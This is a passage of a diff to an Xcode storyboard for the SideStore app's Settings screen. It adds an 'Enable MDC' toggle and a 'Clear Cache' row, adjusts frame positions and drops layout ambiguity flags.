<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="DqL-lJ-MhM" id="KhD-Gc-Ehv">
|
||||||
|
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||||
|
<autoresizingMask key="autoresizingMask"/>
|
||||||
|
<subviews>
|
||||||
|
<switch opaque="NO" contentMode="scaleToFill" horizontalHuggingPriority="750" verticalHuggingPriority="750" contentHorizontalAlignment="center" contentVerticalAlignment="center" on="YES" translatesAutoresizingMaskIntoConstraints="NO" id="6NJ-PB-6Jz">
|
||||||
|
<rect key="frame" x="296" y="10" width="51" height="31"/>
|
||||||
|
<connections>
|
||||||
|
<action selector="toggleMDCEnabled:" destination="aMk-Xp-UL8" eventType="valueChanged" id="9rd-cM-Yb1"/>
|
||||||
|
</connections>
|
||||||
|
</switch>
|
||||||
|
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Enable MDC" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="kux-ac-Ujm">
|
||||||
|
<rect key="frame" x="30" y="15.5" width="98.5" height="20.5"/>
|
||||||
|
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
||||||
|
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||||
|
<nil key="highlightedColor"/>
|
||||||
|
</label>
|
||||||
|
</subviews>
|
||||||
|
<constraints>
|
||||||
|
<constraint firstItem="kux-ac-Ujm" firstAttribute="centerY" secondItem="KhD-Gc-Ehv" secondAttribute="centerY" id="Ep6-5u-UiO"/>
|
||||||
|
<constraint firstItem="kux-ac-Ujm" firstAttribute="leading" secondItem="KhD-Gc-Ehv" secondAttribute="leadingMargin" id="M3Y-cf-s4C"/>
|
||||||
|
<constraint firstAttribute="trailingMargin" secondItem="6NJ-PB-6Jz" secondAttribute="trailing" id="SfD-jS-svQ"/>
|
||||||
|
<constraint firstItem="6NJ-PB-6Jz" firstAttribute="centerY" secondItem="KhD-Gc-Ehv" secondAttribute="centerY" id="ymQ-xO-ARV"/>
|
||||||
|
</constraints>
|
||||||
|
</tableViewCellContentView>
|
||||||
|
<color key="backgroundColor" white="1" alpha="0.14999999999999999" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||||
|
<edgeInsets key="layoutMargins" top="8" left="30" bottom="8" right="30"/>
|
||||||
|
<userDefinedRuntimeAttributes>
|
||||||
|
<userDefinedRuntimeAttribute type="number" keyPath="style">
|
||||||
|
<integer key="value" value="0"/>
|
||||||
|
</userDefinedRuntimeAttribute>
|
||||||
|
<userDefinedRuntimeAttribute type="boolean" keyPath="isSelectable" value="YES"/>
|
||||||
|
</userDefinedRuntimeAttributes>
|
||||||
|
</tableViewCell>
|
||||||
|
</cells>
|
||||||
|
</tableViewSection>
|
||||||
<tableViewSection headerTitle="" id="OMa-EK-hRI">
|
<tableViewSection headerTitle="" id="OMa-EK-hRI">
|
||||||
<cells>
|
<cells>
|
||||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="FMZ-as-Ljo" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="FMZ-as-Ljo" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||||
<rect key="frame" x="0.0" y="870" width="375" height="51"/>
|
<rect key="frame" x="0.0" y="1008" width="375" height="51"/>
|
||||||
<autoresizingMask key="autoresizingMask"/>
|
<autoresizingMask key="autoresizingMask"/>
|
||||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="FMZ-as-Ljo" id="JzL-Of-A3T">
|
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="FMZ-as-Ljo" id="JzL-Of-A3T">
|
||||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||||
<autoresizingMask key="autoresizingMask"/>
|
<autoresizingMask key="autoresizingMask"/>
|
||||||
<subviews>
|
<subviews>
|
||||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" text="Send Feedback" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="pMI-Aj-nQF">
|
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Send Feedback" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="pMI-Aj-nQF">
|
||||||
<rect key="frame" x="30" y="15.5" width="125.5" height="20.5"/>
|
<rect key="frame" x="30" y="15.5" width="125.5" height="20.5"/>
|
||||||
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
||||||
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||||
<nil key="highlightedColor"/>
|
<nil key="highlightedColor"/>
|
||||||
</label>
|
</label>
|
||||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="Jyy-x0-Owj">
|
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="Jyy-x0-Owj">
|
||||||
<rect key="frame" x="327" y="16.5" width="18" height="18"/>
|
<rect key="frame" x="327" y="16.5" width="18" height="18"/>
|
||||||
</imageView>
|
</imageView>
|
||||||
</subviews>
|
</subviews>
|
||||||
@@ -514,19 +590,19 @@
|
|||||||
</userDefinedRuntimeAttributes>
|
</userDefinedRuntimeAttributes>
|
||||||
</tableViewCell>
|
</tableViewCell>
|
||||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="Qca-pU-sJh" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="Qca-pU-sJh" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||||
<rect key="frame" x="0.0" y="921" width="375" height="51"/>
|
<rect key="frame" x="0.0" y="1059" width="375" height="51"/>
|
||||||
<autoresizingMask key="autoresizingMask"/>
|
<autoresizingMask key="autoresizingMask"/>
|
||||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="Qca-pU-sJh" id="QtU-8J-VQN">
|
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="Qca-pU-sJh" id="QtU-8J-VQN">
|
||||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||||
<autoresizingMask key="autoresizingMask"/>
|
<autoresizingMask key="autoresizingMask"/>
|
||||||
<subviews>
|
<subviews>
|
||||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" text="View Refresh Attempts" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="sni-07-q0M">
|
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="View Refresh Attempts" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="sni-07-q0M">
|
||||||
<rect key="frame" x="30" y="15.5" width="187.5" height="20.5"/>
|
<rect key="frame" x="30" y="15.5" width="187.5" height="20.5"/>
|
||||||
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
||||||
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||||
<nil key="highlightedColor"/>
|
<nil key="highlightedColor"/>
|
||||||
</label>
|
</label>
|
||||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="4d3-me-Hqc">
|
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="4d3-me-Hqc">
|
||||||
<rect key="frame" x="327" y="16.5" width="18" height="18"/>
|
<rect key="frame" x="327" y="16.5" width="18" height="18"/>
|
||||||
</imageView>
|
</imageView>
|
||||||
</subviews>
|
</subviews>
|
||||||
@@ -550,19 +626,19 @@
|
|||||||
</connections>
|
</connections>
|
||||||
</tableViewCell>
|
</tableViewCell>
|
||||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="rE2-P4-OaE" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="rE2-P4-OaE" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||||
<rect key="frame" x="0.0" y="972" width="375" height="51"/>
|
<rect key="frame" x="0.0" y="1110" width="375" height="51"/>
|
||||||
<autoresizingMask key="autoresizingMask"/>
|
<autoresizingMask key="autoresizingMask"/>
|
||||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="rE2-P4-OaE" id="qIT-rz-ZUb">
|
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="rE2-P4-OaE" id="qIT-rz-ZUb">
|
||||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||||
<autoresizingMask key="autoresizingMask"/>
|
<autoresizingMask key="autoresizingMask"/>
|
||||||
<subviews>
|
<subviews>
|
||||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" text="View Error Log" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="PWC-OG-5jx">
|
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="View Error Log" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="PWC-OG-5jx">
|
||||||
<rect key="frame" x="30" y="15.5" width="119" height="20.5"/>
|
<rect key="frame" x="30" y="15.5" width="119" height="20.5"/>
|
||||||
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
||||||
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||||
<nil key="highlightedColor"/>
|
<nil key="highlightedColor"/>
|
||||||
</label>
|
</label>
|
||||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="VfB-c5-5wG">
|
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="VfB-c5-5wG">
|
||||||
<rect key="frame" x="327" y="16.5" width="18" height="18"/>
|
<rect key="frame" x="327" y="16.5" width="18" height="18"/>
|
||||||
</imageView>
|
</imageView>
|
||||||
</subviews>
|
</subviews>
|
||||||
@@ -582,23 +658,56 @@
|
|||||||
<userDefinedRuntimeAttribute type="boolean" keyPath="isSelectable" value="YES"/>
|
<userDefinedRuntimeAttribute type="boolean" keyPath="isSelectable" value="YES"/>
|
||||||
</userDefinedRuntimeAttributes>
|
</userDefinedRuntimeAttributes>
|
||||||
<connections>
|
<connections>
|
||||||
<segue destination="g8a-Rf-zWa" kind="show" identifier="showErrorLog" id="SSW-vL-86I"/>
|
<segue destination="g8a-Rf-zWa" kind="show" id="vFC-Id-Ww6"/>
|
||||||
</connections>
|
</connections>
|
||||||
</tableViewCell>
|
</tableViewCell>
|
||||||
|
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="eZ3-BT-q4D" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||||
|
<rect key="frame" x="0.0" y="1161" width="375" height="51"/>
|
||||||
|
<autoresizingMask key="autoresizingMask"/>
|
||||||
|
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="eZ3-BT-q4D" id="17m-VV-hzf">
|
||||||
|
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||||
|
<autoresizingMask key="autoresizingMask"/>
|
||||||
|
<subviews>
|
||||||
|
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Clear Cache" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="IbH-V1-ce3">
|
||||||
|
<rect key="frame" x="30" y="15.5" width="98.5" height="20.5"/>
|
||||||
|
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
||||||
|
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||||
|
<nil key="highlightedColor"/>
|
||||||
|
</label>
|
||||||
|
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="FZe-BJ-fOm">
|
||||||
|
<rect key="frame" x="327" y="16.5" width="18" height="18"/>
|
||||||
|
</imageView>
|
||||||
|
</subviews>
|
||||||
|
<constraints>
|
||||||
|
<constraint firstItem="FZe-BJ-fOm" firstAttribute="centerY" secondItem="17m-VV-hzf" secondAttribute="centerY" id="bGv-Np-5aO"/>
|
||||||
|
<constraint firstAttribute="trailingMargin" secondItem="FZe-BJ-fOm" secondAttribute="trailing" id="ccb-JP-Eqi"/>
|
||||||
|
<constraint firstItem="IbH-V1-ce3" firstAttribute="centerY" secondItem="17m-VV-hzf" secondAttribute="centerY" id="iQJ-gN-sRF"/>
|
||||||
|
<constraint firstItem="IbH-V1-ce3" firstAttribute="leading" secondItem="17m-VV-hzf" secondAttribute="leadingMargin" id="m1g-Y6-aT5"/>
|
||||||
|
</constraints>
|
||||||
|
</tableViewCellContentView>
|
||||||
|
<color key="backgroundColor" white="1" alpha="0.14999999999999999" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||||
|
<edgeInsets key="layoutMargins" top="8" left="30" bottom="8" right="30"/>
|
||||||
|
<userDefinedRuntimeAttributes>
|
||||||
|
<userDefinedRuntimeAttribute type="number" keyPath="style">
|
||||||
|
<integer key="value" value="2"/>
|
||||||
|
</userDefinedRuntimeAttribute>
|
||||||
|
<userDefinedRuntimeAttribute type="boolean" keyPath="isSelectable" value="YES"/>
|
||||||
|
</userDefinedRuntimeAttributes>
|
||||||
|
</tableViewCell>
|
||||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="VNn-u4-cN8" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="VNn-u4-cN8" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||||
<rect key="frame" x="0.0" y="1023" width="375" height="51"/>
|
<rect key="frame" x="0.0" y="1212" width="375" height="51"/>
|
||||||
<autoresizingMask key="autoresizingMask"/>
|
<autoresizingMask key="autoresizingMask"/>
|
||||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="VNn-u4-cN8" id="4bh-qe-l2N">
|
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="VNn-u4-cN8" id="4bh-qe-l2N">
|
||||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||||
<autoresizingMask key="autoresizingMask"/>
|
<autoresizingMask key="autoresizingMask"/>
|
||||||
<subviews>
|
<subviews>
|
||||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" text="Reset Pairing File" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="ysS-9s-dXm">
|
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Reset Pairing File" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="ysS-9s-dXm">
|
||||||
<rect key="frame" x="30" y="15.5" width="140" height="20.5"/>
|
<rect key="frame" x="30" y="15.5" width="140" height="20.5"/>
|
||||||
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
||||||
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||||
<nil key="highlightedColor"/>
|
<nil key="highlightedColor"/>
|
||||||
</label>
|
</label>
|
||||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="r09-mH-pOD">
|
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="r09-mH-pOD">
|
||||||
<rect key="frame" x="327" y="16.5" width="18" height="18"/>
|
<rect key="frame" x="327" y="16.5" width="18" height="18"/>
|
||||||
</imageView>
|
</imageView>
|
||||||
</subviews>
|
</subviews>
|
||||||
@@ -619,19 +728,19 @@
|
|||||||
</userDefinedRuntimeAttributes>
|
</userDefinedRuntimeAttributes>
|
||||||
</tableViewCell>
|
</tableViewCell>
|
||||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="e7s-hL-kv9" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="e7s-hL-kv9" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||||
<rect key="frame" x="0.0" y="1074" width="375" height="51"/>
|
<rect key="frame" x="0.0" y="1263" width="375" height="51"/>
|
||||||
<autoresizingMask key="autoresizingMask"/>
|
<autoresizingMask key="autoresizingMask"/>
|
||||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="e7s-hL-kv9" id="yjL-Mu-HTk">
|
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="e7s-hL-kv9" id="yjL-Mu-HTk">
|
||||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||||
<autoresizingMask key="autoresizingMask"/>
|
<autoresizingMask key="autoresizingMask"/>
|
||||||
<subviews>
|
<subviews>
|
||||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" text="Reset adi.pb" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="eds-Dj-36y">
|
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Reset adi.pb" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="eds-Dj-36y">
|
||||||
<rect key="frame" x="30" y="15.5" width="102" height="20.5"/>
|
<rect key="frame" x="30" y="15.5" width="102" height="20.5"/>
|
||||||
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
||||||
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||||
<nil key="highlightedColor"/>
|
<nil key="highlightedColor"/>
|
||||||
</label>
|
</label>
|
||||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="0dh-yd-7i9">
|
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="0dh-yd-7i9">
|
||||||
<rect key="frame" x="327" y="16.5" width="18" height="18"/>
|
<rect key="frame" x="327" y="16.5" width="18" height="18"/>
|
||||||
</imageView>
|
</imageView>
|
||||||
</subviews>
|
</subviews>
|
||||||
@@ -652,19 +761,19 @@
|
|||||||
</userDefinedRuntimeAttributes>
|
</userDefinedRuntimeAttributes>
|
||||||
</tableViewCell>
|
</tableViewCell>
|
||||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="fj2-EJ-Z98" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="fj2-EJ-Z98" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||||
<rect key="frame" x="0.0" y="1125" width="375" height="51"/>
|
<rect key="frame" x="0.0" y="1314" width="375" height="51"/>
|
||||||
<autoresizingMask key="autoresizingMask"/>
|
<autoresizingMask key="autoresizingMask"/>
|
||||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="fj2-EJ-Z98" id="BcT-Fs-KNg">
|
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="fj2-EJ-Z98" id="BcT-Fs-KNg">
|
||||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||||
<autoresizingMask key="autoresizingMask"/>
|
<autoresizingMask key="autoresizingMask"/>
|
||||||
<subviews>
|
<subviews>
|
||||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" text="Advanced Settings" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="OcM-OM-uDE">
|
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Advanced Settings" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="OcM-OM-uDE">
|
||||||
<rect key="frame" x="30" y="15.5" width="154" height="20.5"/>
|
<rect key="frame" x="30" y="15.5" width="154" height="20.5"/>
|
||||||
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
||||||
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||||
<nil key="highlightedColor"/>
|
<nil key="highlightedColor"/>
|
||||||
</label>
|
</label>
|
||||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="Pcu-Sy-yfZ">
|
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="Pcu-Sy-yfZ">
|
||||||
<rect key="frame" x="327" y="16.5" width="18" height="18"/>
|
<rect key="frame" x="327" y="16.5" width="18" height="18"/>
|
||||||
</imageView>
|
</imageView>
|
||||||
</subviews>
|
</subviews>
|
||||||
@@ -689,15 +798,16 @@
|
|||||||
</sections>
|
</sections>
|
||||||
<connections>
|
<connections>
|
||||||
<outlet property="dataSource" destination="aMk-Xp-UL8" id="c6c-fR-8C4"/>
|
<outlet property="dataSource" destination="aMk-Xp-UL8" id="c6c-fR-8C4"/>
|
||||||
<outlet property="delegate" destination="aMk-Xp-UL8" id="moP-1B-lRq"/>
|
|
||||||
</connections>
|
</connections>
|
||||||
</tableView>
|
</tableView>
|
||||||
<navigationItem key="navigationItem" title="Settings" id="Ddg-UQ-KJ8"/>
|
<navigationItem key="navigationItem" title="Settings" id="Ddg-UQ-KJ8"/>
|
||||||
<connections>
|
<connections>
|
||||||
|
<outlet property="MDCSwitch" destination="6NJ-PB-6Jz" id="bwj-oN-oRv"/>
|
||||||
<outlet property="accountEmailLabel" destination="0uP-Cd-tNX" id="14b-aL-yE3"/>
|
